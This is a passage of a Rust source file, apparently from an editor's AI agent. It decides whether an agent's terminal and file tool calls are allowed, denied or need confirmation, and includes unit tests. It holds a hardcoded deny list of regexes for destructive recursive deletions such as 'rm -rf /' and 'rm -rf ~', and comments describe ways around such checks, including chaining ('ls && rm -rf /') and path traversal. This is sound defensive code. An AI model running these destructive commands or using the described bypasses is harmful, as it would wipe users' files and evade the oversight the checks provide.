1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6 TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13 harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15 allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16 ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17 the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22 pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32 HardcodedSecurityRules {
33 terminal_deny: vec![
34 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59 CompiledRegex::new(
60 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61 false,
62 )
63 .expect("hardcoded regex should compile"),
64 ],
65 }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71 tool_name: &str,
72 inputs: &[String],
73 shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75 // Currently only terminal tool has hardcoded rules
76 if tool_name != TerminalTool::NAME {
77 return None;
78 }
79
80 let rules = &*HARDCODED_SECURITY_RULES;
81 let terminal_patterns = &rules.terminal_deny;
82
83 for input in inputs {
84 // First: check the original input as-is (and its path-normalized form)
85 if matches_hardcoded_patterns(input, terminal_patterns) {
86 return Some(ToolPermissionDecision::Deny(
87 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88 ));
89 }
90
91 // Second: parse and check individual sub-commands (for chained commands)
92 if shell_kind.supports_posix_chaining() {
93 if let Some(commands) = extract_commands(input) {
94 for command in &commands {
95 if matches_hardcoded_patterns(command, terminal_patterns) {
96 return Some(ToolPermissionDecision::Deny(
97 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98 ));
99 }
100 }
101 }
102 }
103 }
104
105 None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112 for pattern in patterns {
113 if pattern.is_match(command) {
114 return true;
115 }
116 }
117
118 for expanded in expand_rm_to_single_path_commands(command) {
119 for pattern in patterns {
120 if pattern.is_match(&expanded) {
121 return true;
122 }
123 }
124 }
125
126 false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133 let trimmed = command.trim();
134
135 let first_token = trimmed.split_whitespace().next();
136 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137 return vec![];
138 }
139
140 let parts: Vec<&str> = trimmed.split_whitespace().collect();
141 let mut flags = Vec::new();
142 let mut paths = Vec::new();
143 let mut past_double_dash = false;
144
145 for part in parts.iter().skip(1) {
146 if !past_double_dash && *part == "--" {
147 past_double_dash = true;
148 flags.push(*part);
149 continue;
150 }
151 if !past_double_dash && part.starts_with('-') {
152 flags.push(*part);
153 } else {
154 paths.push(*part);
155 }
156 }
157
158 let flags_str = if flags.is_empty() {
159 String::new()
160 } else {
161 format!("{} ", flags.join(" "))
162 };
163
164 let mut results = Vec::new();
165 for path in &paths {
166 if path.starts_with('$') {
167 let home_prefix = if path.starts_with("${HOME}") {
168 Some("${HOME}")
169 } else if path.starts_with("$HOME") {
170 Some("$HOME")
171 } else {
172 None
173 };
174
175 if let Some(prefix) = home_prefix {
176 let suffix = &path[prefix.len()..];
177 if suffix.is_empty() {
178 results.push(format!("rm {flags_str}{path}"));
179 } else if suffix.starts_with('/') {
180 let normalized_suffix = normalize_path(suffix);
181 let reconstructed = if normalized_suffix == "/" {
182 prefix.to_string()
183 } else {
184 format!("{prefix}{normalized_suffix}")
185 };
186 results.push(format!("rm {flags_str}{reconstructed}"));
187 } else {
188 results.push(format!("rm {flags_str}{path}"));
189 }
190 } else {
191 results.push(format!("rm {flags_str}{path}"));
192 }
193 continue;
194 }
195
196 let mut normalized = normalize_path(path);
197 if normalized.is_empty() && !Path::new(path).has_root() {
198 normalized = ".".to_string();
199 }
200
201 results.push(format!("rm {flags_str}{normalized}"));
202 }
203
204 results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209 Allow,
210 Deny(String),
211 Confirm,
212}
213
214impl ToolPermissionDecision {
215 /// Determines the permission decision for a tool invocation based on configured rules.
216 ///
217 /// # Precedence Order (highest to lowest)
218 ///
219 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220 /// that cannot be bypassed by any user settings.
221 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222 /// This takes precedence over `always_confirm` and `always_allow` patterns.
223 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224 /// the user is prompted for confirmation.
225 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226 /// the tool call proceeds without prompting.
227 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228 /// `default` configured, that mode is used.
229 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230 /// tool-specific default is set, or when the tool has no entry at all.
231 ///
232 /// # Shell Compatibility (Terminal Tool Only)
233 ///
234 /// For the terminal tool, commands are parsed to extract sub-commands for security.
235 /// All currently supported `ShellKind` variants are treated as compatible because
236 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237 /// variant is added that brush-parser cannot safely parse, it should be excluded
238 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239 /// patterns to be disabled for that shell.
240 ///
241 /// # Pattern Matching Tips
242 ///
243 /// Patterns are matched as regular expressions against the tool input (e.g., the command
244 /// string for the terminal tool). Some tips for writing effective patterns:
245 ///
246 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248 /// This is important for security rules where you want to block specific commands
249 /// without accidentally blocking unrelated commands that happen to contain the same
250 /// substring.
251 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252 /// - Use `^` and `$` anchors to match the start/end of the input.
253 pub fn from_input(
254 tool_name: &str,
255 inputs: &[String],
256 permissions: &ToolPermissions,
257 shell_kind: ShellKind,
258 ) -> ToolPermissionDecision {
259 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260 // These cannot be bypassed by any user settings.
261 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262 return denial;
263 }
264
265 let rules = permissions.tools.get(tool_name);
266
267 // Check for invalid regex patterns before evaluating rules.
268 // If any patterns failed to compile, block the tool call entirely.
269 if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270 return ToolPermissionDecision::Deny(error);
271 }
272
273 if tool_name == TerminalTool::NAME
274 && !rules.map_or(
275 matches!(permissions.default, ToolPermissionMode::Allow),
276 |rules| is_unconditional_allow_all(rules, permissions.default),
277 )
278 && inputs.iter().any(|input| {
279 matches!(
280 validate_terminal_command(input),
281 TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282 )
283 })
284 {
285 return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286 }
287
288 let rules = match rules {
289 Some(rules) => rules,
290 None => {
291 // No tool-specific rules, use the global default
292 return match permissions.default {
293 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294 ToolPermissionMode::Deny => {
295 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296 }
297 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298 };
299 }
300 };
301
302 // For the terminal tool, parse each input command to extract all sub-commands.
303 // This prevents shell injection attacks where a user configures an allow
304 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305 //
306 // If parsing fails or the shell syntax is unsupported, always_allow is
307 // disabled for this command (we set allow_enabled to false to signal this).
308 if tool_name == TerminalTool::NAME {
309 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310 // See the doc comment above for the list of compatible/incompatible shells.
311 if !shell_kind.supports_posix_chaining() {
312 // For shells with incompatible syntax, we can't reliably parse
313 // the command to extract sub-commands.
314 if !rules.always_allow.is_empty() {
315 // If the user has configured always_allow patterns, we must deny
316 // because we can't safely verify the command doesn't contain
317 // hidden sub-commands that bypass the allow patterns.
318 return ToolPermissionDecision::Deny(format!(
319 "The {} shell does not support \"always allow\" patterns for the terminal \
320 tool because Zed cannot parse its command chaining syntax. Please remove \
321 the always_allow patterns from your tool_permissions settings, or switch \
322 to a POSIX-conforming shell.",
323 shell_kind
324 ));
325 }
326 // No always_allow rules, so we can still check deny/confirm patterns.
327 return check_commands(
328 inputs.iter().map(|s| s.to_string()),
329 rules,
330 tool_name,
331 false,
332 permissions.default,
333 );
334 }
335
336 // Expand each input into its sub-commands and check them all together.
337 let mut all_commands = Vec::new();
338 let mut any_parse_failed = false;
339 for input in inputs {
340 match extract_commands(input) {
341 Some(commands) => all_commands.extend(commands),
342 None => {
343 any_parse_failed = true;
344 all_commands.push(input.to_string());
345 }
346 }
347 }
348 // If any command failed to parse, disable allow patterns for safety.
349 check_commands(
350 all_commands,
351 rules,
352 tool_name,
353 !any_parse_failed,
354 permissions.default,
355 )
356 } else {
357 check_commands(
358 inputs.iter().map(|s| s.to_string()),
359 rules,
360 tool_name,
361 true,
362 permissions.default,
363 )
364 }
365 }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379 commands: impl IntoIterator<Item = String>,
380 rules: &ToolRules,
381 tool_name: &str,
382 allow_enabled: bool,
383 global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385 // Single pass through all commands:
386 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387 // - CONFIRM: Track if ANY command matches a confirm pattern
388 // - ALLOW: Track if ALL commands match at least one allow pattern
389 let mut any_matched_confirm = false;
390 let mut all_matched_allow = true;
391 let mut had_any_commands = false;
392
393 for command in commands {
394 had_any_commands = true;
395
396 // DENY: immediate return if any command matches a deny pattern
397 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398 return ToolPermissionDecision::Deny(format!(
399 "Command blocked by security rule for {} tool",
400 tool_name
401 ));
402 }
403
404 // CONFIRM: remember if any command matches a confirm pattern
405 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406 any_matched_confirm = true;
407 }
408
409 // ALLOW: track if all commands match at least one allow pattern
410 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411 all_matched_allow = false;
412 }
413 }
414
415 // After processing all commands, check accumulated state
416 if any_matched_confirm {
417 return ToolPermissionDecision::Confirm;
418 }
419
420 if allow_enabled && all_matched_allow && had_any_commands {
421 return ToolPermissionDecision::Allow;
422 }
423
424 match rules.default.unwrap_or(global_default) {
425 ToolPermissionMode::Deny => {
426 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427 }
428 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430 }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434 // `always_allow` is intentionally not checked here: when the effective default
435 // is already Allow and there are no deny/confirm restrictions, allow patterns
436 // are redundant — the user has opted into allowing everything.
437 rules.always_deny.is_empty()
438 && rules.always_confirm.is_empty()
439 && matches!(
440 rules.default.unwrap_or(global_default),
441 ToolPermissionMode::Allow
442 )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448 if rules.invalid_patterns.is_empty() {
449 return None;
450 }
451
452 let count = rules.invalid_patterns.len();
453 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455 Some(format!(
456 "The {} tool cannot run because {} regex {} failed to compile. \
457 Please fix the invalid patterns in your tool_permissions settings.",
458 tool_name, count, pattern_word
459 ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468 tool_name: &str,
469 inputs: &[String],
470 settings: &AgentSettings,
471) -> ToolPermissionDecision {
472 ToolPermissionDecision::from_input(
473 tool_name,
474 inputs,
475 &settings.tool_permissions,
476 ShellKind::system(),
477 )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482 let is_absolute = Path::new(raw).has_root();
483 let mut components: Vec<&str> = Vec::new();
484 for component in Path::new(raw).components() {
485 match component {
486 Component::CurDir => {}
487 Component::ParentDir => {
488 if components.last() == Some(&"..") {
489 components.push("..");
490 } else if !components.is_empty() {
491 components.pop();
492 } else if !is_absolute {
493 components.push("..");
494 }
495 }
496 Component::Normal(segment) => {
497 if let Some(s) = segment.to_str() {
498 components.push(s);
499 }
500 }
501 Component::RootDir | Component::Prefix(_) => {}
502 }
503 }
504 let joined = components.join("/");
505 if is_absolute {
506 format!("/{joined}")
507 } else {
508 joined
509 }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515 tool_name: &str,
516 raw_paths: &[String],
517 settings: &AgentSettings,
518) -> ToolPermissionDecision {
519 let raw_inputs: Vec<String> = raw_paths.to_vec();
520 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523 let any_changed = raw_paths
524 .iter()
525 .zip(&normalized)
526 .any(|(raw, norm)| raw != norm);
527 if !any_changed {
528 return raw_decision;
529 }
530
531 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533 most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537 tool_name: &str,
538 raw_path: &str,
539 settings: &AgentSettings,
540) -> ToolPermissionDecision {
541 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545 a: ToolPermissionDecision,
546 b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548 match (&a, &b) {
549 (ToolPermissionDecision::Deny(_), _) => a,
550 (_, ToolPermissionDecision::Deny(_)) => b,
551 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552 ToolPermissionDecision::Confirm
553 }
554 _ => a,
555 }
556}
557
558#[cfg(test)]
559mod tests {
560 use super::*;
561 use crate::AgentTool;
562 use crate::pattern_extraction::extract_terminal_pattern;
563 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
564 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565 use gpui::px;
566 use settings::{DockPosition, NotifyWhenAgentWaiting, PlaySoundWhenAgentDone};
567 use std::sync::Arc;
568
569 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570 AgentSettings {
571 enabled: true,
572 button: true,
573 dock: DockPosition::Right,
574 flexible: true,
575 default_width: px(300.),
576 default_height: px(600.),
577 max_content_width: px(850.),
578 default_model: None,
579 inline_assistant_model: None,
580 inline_assistant_use_streaming_tools: false,
581 commit_message_model: None,
582 thread_summary_model: None,
583 inline_alternatives: vec![],
584 favorite_models: vec![],
585 default_profile: AgentProfileId::default(),
586 profiles: Default::default(),
587 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
588 play_sound_when_agent_done: PlaySoundWhenAgentDone::default(),
589 single_file_review: false,
590 model_parameters: vec![],
591 enable_feedback: false,
592 expand_edit_card: true,
593 expand_terminal_card: true,
594 cancel_generation_on_terminal_stop: true,
595 use_modifier_to_send: true,
596 message_editor_min_lines: 1,
597 tool_permissions,
598 show_turn_stats: false,
599 show_merge_conflict_indicator: true,
600 new_thread_location: Default::default(),
601 sidebar_side: Default::default(),
602 thinking_display: Default::default(),
603 }
604 }
605
606 fn pattern(command: &str) -> &'static str {
607 Box::leak(
608 extract_terminal_pattern(command)
609 .expect("failed to extract pattern")
610 .into_boxed_str(),
611 )
612 }
613
614 struct PermTest {
615 tool: &'static str,
616 input: &'static str,
617 mode: Option<ToolPermissionMode>,
618 allow: Vec<(&'static str, bool)>,
619 deny: Vec<(&'static str, bool)>,
620 confirm: Vec<(&'static str, bool)>,
621 global_default: ToolPermissionMode,
622 shell: ShellKind,
623 }
624
625 impl PermTest {
626 fn new(input: &'static str) -> Self {
627 Self {
628 tool: TerminalTool::NAME,
629 input,
630 mode: None,
631 allow: vec![],
632 deny: vec![],
633 confirm: vec![],
634 global_default: ToolPermissionMode::Confirm,
635 shell: ShellKind::Posix,
636 }
637 }
638
639 fn tool(mut self, t: &'static str) -> Self {
640 self.tool = t;
641 self
642 }
643 fn mode(mut self, m: ToolPermissionMode) -> Self {
644 self.mode = Some(m);
645 self
646 }
647 fn allow(mut self, p: &[&'static str]) -> Self {
648 self.allow = p.iter().map(|s| (*s, false)).collect();
649 self
650 }
651 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
652 self.allow = p.iter().map(|s| (*s, true)).collect();
653 self
654 }
655 fn deny(mut self, p: &[&'static str]) -> Self {
656 self.deny = p.iter().map(|s| (*s, false)).collect();
657 self
658 }
659 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
660 self.deny = p.iter().map(|s| (*s, true)).collect();
661 self
662 }
663 fn confirm(mut self, p: &[&'static str]) -> Self {
664 self.confirm = p.iter().map(|s| (*s, false)).collect();
665 self
666 }
667 fn global_default(mut self, m: ToolPermissionMode) -> Self {
668 self.global_default = m;
669 self
670 }
671 fn shell(mut self, s: ShellKind) -> Self {
672 self.shell = s;
673 self
674 }
675
676 fn is_allow(self) {
677 assert_eq!(
678 self.run(),
679 ToolPermissionDecision::Allow,
680 "expected Allow for '{}'",
681 self.input
682 );
683 }
684 fn is_deny(self) {
685 assert!(
686 matches!(self.run(), ToolPermissionDecision::Deny(_)),
687 "expected Deny for '{}'",
688 self.input
689 );
690 }
691 fn is_confirm(self) {
692 assert_eq!(
693 self.run(),
694 ToolPermissionDecision::Confirm,
695 "expected Confirm for '{}'",
696 self.input
697 );
698 }
699
700 fn run(&self) -> ToolPermissionDecision {
701 let mut tools = collections::HashMap::default();
702 tools.insert(
703 Arc::from(self.tool),
704 ToolRules {
705 default: self.mode,
706 always_allow: self
707 .allow
708 .iter()
709 .map(|(p, cs)| {
710 CompiledRegex::new(p, *cs)
711 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
712 })
713 .collect(),
714 always_deny: self
715 .deny
716 .iter()
717 .map(|(p, cs)| {
718 CompiledRegex::new(p, *cs)
719 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
720 })
721 .collect(),
722 always_confirm: self
723 .confirm
724 .iter()
725 .map(|(p, cs)| {
726 CompiledRegex::new(p, *cs)
727 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
728 })
729 .collect(),
730 invalid_patterns: vec![],
731 },
732 );
733 ToolPermissionDecision::from_input(
734 self.tool,
735 &[self.input.to_string()],
736 &ToolPermissions {
737 default: self.global_default,
738 tools,
739 },
740 self.shell,
741 )
742 }
743 }
744
745 fn t(input: &'static str) -> PermTest {
746 PermTest::new(input)
747 }
748
749 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
750 ToolPermissionDecision::from_input(
751 TerminalTool::NAME,
752 &[input.to_string()],
753 &ToolPermissions {
754 default: global_default,
755 tools: collections::HashMap::default(),
756 },
757 ShellKind::Posix,
758 )
759 }
760
761 // allow pattern matches
762 #[test]
763 fn allow_exact_match() {
764 t("cargo test").allow(&[pattern("cargo")]).is_allow();
765 }
766 #[test]
767 fn allow_one_of_many_patterns() {
768 t("npm install")
769 .allow(&[pattern("cargo"), pattern("npm")])
770 .is_allow();
771 t("git status")
772 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
773 .is_allow();
774 }
775 #[test]
776 fn allow_middle_pattern() {
777 t("run cargo now").allow(&["cargo"]).is_allow();
778 }
779 #[test]
780 fn allow_anchor_prevents_middle() {
781 t("run cargo now").allow(&["^cargo"]).is_confirm();
782 }
783
784 // allow pattern doesn't match -> falls through
785 #[test]
786 fn allow_no_match_confirms() {
787 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
788 }
789 #[test]
790 fn allow_no_match_global_allows() {
791 t("python x.py")
792 .allow(&[pattern("cargo")])
793 .global_default(ToolPermissionMode::Allow)
794 .is_allow();
795 }
796 #[test]
797 fn allow_no_match_tool_confirm_overrides_global_allow() {
798 t("python x.py")
799 .allow(&[pattern("cargo")])
800 .mode(ToolPermissionMode::Confirm)
801 .global_default(ToolPermissionMode::Allow)
802 .is_confirm();
803 }
804 #[test]
805 fn allow_no_match_tool_allow_overrides_global_confirm() {
806 t("python x.py")
807 .allow(&[pattern("cargo")])
808 .mode(ToolPermissionMode::Allow)
809 .global_default(ToolPermissionMode::Confirm)
810 .is_allow();
811 }
812
813 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
814 #[test]
815 fn deny_blocks() {
816 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
817 }
818 // global default: allow does NOT bypass user-configured deny rules
819 #[test]
820 fn deny_not_bypassed_by_global_default_allow() {
821 t("rm -rf ./temp")
822 .deny(&["rm\\s+-rf"])
823 .global_default(ToolPermissionMode::Allow)
824 .is_deny();
825 }
826 #[test]
827 fn deny_blocks_with_mode_allow() {
828 t("rm -rf ./temp")
829 .deny(&["rm\\s+-rf"])
830 .mode(ToolPermissionMode::Allow)
831 .is_deny();
832 }
833 #[test]
834 fn deny_middle_match() {
835 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
836 }
837 #[test]
838 fn deny_no_match_falls_through() {
839 t("ls -la")
840 .deny(&["rm\\s+-rf"])
841 .mode(ToolPermissionMode::Allow)
842 .is_allow();
843 }
844
845 // confirm pattern matches
846 #[test]
847 fn confirm_requires_confirm() {
848 t("sudo apt install")
849 .confirm(&[pattern("sudo")])
850 .is_confirm();
851 }
852 // global default: allow does NOT bypass user-configured confirm rules
853 #[test]
854 fn global_default_allow_does_not_override_confirm_pattern() {
855 t("sudo reboot")
856 .confirm(&[pattern("sudo")])
857 .global_default(ToolPermissionMode::Allow)
858 .is_confirm();
859 }
860 #[test]
861 fn confirm_overrides_mode_allow() {
862 t("sudo x")
863 .confirm(&["sudo"])
864 .mode(ToolPermissionMode::Allow)
865 .is_confirm();
866 }
867
868 // confirm beats allow
869 #[test]
870 fn confirm_beats_allow() {
871 t("git push --force")
872 .allow(&[pattern("git")])
873 .confirm(&["--force"])
874 .is_confirm();
875 }
876 #[test]
877 fn confirm_beats_allow_overlap() {
878 t("deploy prod")
879 .allow(&["deploy"])
880 .confirm(&["prod"])
881 .is_confirm();
882 }
883 #[test]
884 fn allow_when_confirm_no_match() {
885 t("git status")
886 .allow(&[pattern("git")])
887 .confirm(&["--force"])
888 .is_allow();
889 }
890
891 // deny beats allow
892 #[test]
893 fn deny_beats_allow() {
894 t("rm -rf ./tmp/x")
895 .allow(&["/tmp/"])
896 .deny(&["rm\\s+-rf"])
897 .is_deny();
898 }
899
900 #[test]
901 fn deny_beats_confirm() {
902 t("sudo rm -rf ./temp")
903 .confirm(&["sudo"])
904 .deny(&["rm\\s+-rf"])
905 .is_deny();
906 }
907
908 // deny beats everything
909 #[test]
910 fn deny_beats_all() {
911 t("bad cmd")
912 .allow(&["cmd"])
913 .confirm(&["cmd"])
914 .deny(&["bad"])
915 .is_deny();
916 }
917
918 // no patterns -> default
919 #[test]
920 fn default_confirm() {
921 t("python x.py")
922 .mode(ToolPermissionMode::Confirm)
923 .is_confirm();
924 }
925 #[test]
926 fn default_allow() {
927 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
928 }
929 #[test]
930 fn default_deny() {
931 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
932 }
933 // Tool-specific default takes precedence over global default
934 #[test]
935 fn tool_default_deny_overrides_global_allow() {
936 t("python x.py")
937 .mode(ToolPermissionMode::Deny)
938 .global_default(ToolPermissionMode::Allow)
939 .is_deny();
940 }
941
942 // Tool-specific default takes precedence over global default
943 #[test]
944 fn tool_default_confirm_overrides_global_allow() {
945 t("x")
946 .mode(ToolPermissionMode::Confirm)
947 .global_default(ToolPermissionMode::Allow)
948 .is_confirm();
949 }
950
951 #[test]
952 fn no_rules_uses_global_default() {
953 assert_eq!(
954 no_rules("x", ToolPermissionMode::Confirm),
955 ToolPermissionDecision::Confirm
956 );
957 assert_eq!(
958 no_rules("x", ToolPermissionMode::Allow),
959 ToolPermissionDecision::Allow
960 );
961 assert!(matches!(
962 no_rules("x", ToolPermissionMode::Deny),
963 ToolPermissionDecision::Deny(_)
964 ));
965 }
966
967 #[test]
968 fn empty_input_no_match() {
969 t("")
970 .deny(&["rm"])
971 .mode(ToolPermissionMode::Allow)
972 .is_allow();
973 }
974
975 #[test]
976 fn empty_input_with_allow_falls_to_default() {
977 t("").allow(&["^ls"]).is_confirm();
978 }
979
980 #[test]
981 fn multi_deny_any_match() {
982 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
983 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
984 }
985
986 #[test]
987 fn multi_allow_any_match() {
988 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
989 }
990 #[test]
991 fn multi_none_match() {
992 t("python x")
993 .allow(&["^cargo", "^npm"])
994 .deny(&["rm"])
995 .is_confirm();
996 }
997
998 // tool isolation
999 #[test]
1000 fn other_tool_not_affected() {
1001 let mut tools = collections::HashMap::default();
1002 tools.insert(
1003 Arc::from(TerminalTool::NAME),
1004 ToolRules {
1005 default: Some(ToolPermissionMode::Deny),
1006 always_allow: vec![],
1007 always_deny: vec![],
1008 always_confirm: vec![],
1009 invalid_patterns: vec![],
1010 },
1011 );
1012 tools.insert(
1013 Arc::from(EditFileTool::NAME),
1014 ToolRules {
1015 default: Some(ToolPermissionMode::Allow),
1016 always_allow: vec![],
1017 always_deny: vec![],
1018 always_confirm: vec![],
1019 invalid_patterns: vec![],
1020 },
1021 );
1022 let p = ToolPermissions {
1023 default: ToolPermissionMode::Confirm,
1024 tools,
1025 };
1026 assert!(matches!(
1027 ToolPermissionDecision::from_input(
1028 TerminalTool::NAME,
1029 &["x".to_string()],
1030 &p,
1031 ShellKind::Posix
1032 ),
1033 ToolPermissionDecision::Deny(_)
1034 ));
1035 assert_eq!(
1036 ToolPermissionDecision::from_input(
